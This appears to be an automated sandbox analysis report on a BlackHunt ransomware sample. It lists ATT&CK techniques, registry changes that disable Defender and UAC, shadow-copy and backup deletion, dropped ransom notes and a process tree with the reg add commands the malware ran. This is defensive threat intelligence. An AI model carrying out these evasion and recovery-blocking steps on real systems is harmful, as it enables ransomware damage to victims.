fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33

Data Destruction

T1485

pid	Process
852	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4532	bcdedit.exe
4708	bcdedit.exe

Renames multiple (548) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4672	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\U:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\I:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\G:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\J:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\T:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\H:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\A:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\L:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\M:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\E:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\Z:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\X:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\B:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\R:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\O:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\S:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\K:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\N:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\Q:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\P:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened (read-only)	\??\V:	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunec.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\Welcome.html	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\zipfs.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jfxrt.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngdatatype.md	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\ecc.md	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management-agent.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jsse.jar	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1656	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5432	vssadmin.exe
5404	vssadmin.exe
6052	vssadmin.exe
4016	vssadmin.exe
5824	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeRestorePrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeBackupPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeTakeOwnershipPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeAuditPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeSecurityPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeIncBasePriorityPrivilege	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Token: SeBackupPrivilege	3936	wbengine.exe
Token: SeRestorePrivilege	3936	wbengine.exe
Token: SeSecurityPrivilege	3936	wbengine.exe
Token: SeBackupPrivilege	3784	vssvc.exe
Token: SeRestorePrivilege	3784	vssvc.exe
Token: SeAuditPrivilege	3784	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 2952	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	89
PID 564 wrote to memory of 2952	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	89
PID 564 wrote to memory of 112	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	91
PID 564 wrote to memory of 112	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	91
PID 564 wrote to memory of 808	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	93
PID 564 wrote to memory of 808	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	93
PID 564 wrote to memory of 4996	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	95
PID 564 wrote to memory of 4996	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	95
PID 564 wrote to memory of 4412	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	96
PID 564 wrote to memory of 4412	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	96
PID 564 wrote to memory of 540	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	99
PID 564 wrote to memory of 540	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	99
PID 564 wrote to memory of 4824	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	116
PID 564 wrote to memory of 4824	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	116
PID 564 wrote to memory of 2300	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	102
PID 564 wrote to memory of 2300	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	102
PID 564 wrote to memory of 996	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	101
PID 564 wrote to memory of 996	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	101
PID 564 wrote to memory of 3676	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	114
PID 564 wrote to memory of 3676	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	114
PID 564 wrote to memory of 5052	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	103
PID 564 wrote to memory of 5052	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	103
PID 564 wrote to memory of 3936	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	106
PID 564 wrote to memory of 3936	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	106
PID 2952 wrote to memory of 3852	2952	cmd.exe	111
PID 2952 wrote to memory of 3852	2952	cmd.exe	111
PID 564 wrote to memory of 4780	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	110
PID 564 wrote to memory of 4780	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	110
PID 564 wrote to memory of 3648	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	109
PID 564 wrote to memory of 3648	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	109
PID 564 wrote to memory of 3512	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	108
PID 564 wrote to memory of 3512	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	108
PID 564 wrote to memory of 3668	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	120
PID 564 wrote to memory of 3668	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	120
PID 564 wrote to memory of 1756	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	121
PID 564 wrote to memory of 1756	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	121
PID 564 wrote to memory of 1212	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	125
PID 564 wrote to memory of 1212	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	125
PID 564 wrote to memory of 1724	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	133
PID 564 wrote to memory of 1724	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	133
PID 564 wrote to memory of 1660	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	132
PID 564 wrote to memory of 1660	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	132
PID 564 wrote to memory of 3552	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	127
PID 564 wrote to memory of 3552	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	127
PID 564 wrote to memory of 1896	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	130
PID 564 wrote to memory of 1896	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	130
PID 564 wrote to memory of 944	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	137
PID 564 wrote to memory of 944	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	137
PID 564 wrote to memory of 2416	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	134
PID 564 wrote to memory of 2416	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	134
PID 564 wrote to memory of 4908	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	138
PID 564 wrote to memory of 4908	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	138
PID 564 wrote to memory of 556	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	142
PID 564 wrote to memory of 556	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	142
PID 564 wrote to memory of 4992	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	141
PID 564 wrote to memory of 4992	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	141
PID 564 wrote to memory of 2980	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	143
PID 564 wrote to memory of 2980	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	143
PID 564 wrote to memory of 4032	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	145
PID 564 wrote to memory of 4032	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	145
PID 564 wrote to memory of 4144	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	149
PID 564 wrote to memory of 4144	564	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe	149
PID 4996 wrote to memory of 4552	4996	cmd.exe	177
PID 4996 wrote to memory of 4552	4996	cmd.exe	177

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe
"C:\Users\Admin\AppData\Local\Temp\fe09a60118fbd414c0b976f9d68596e9067928a4366c479269de01854cbaad33.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4428
- C:\Windows\System32\cmd.exe
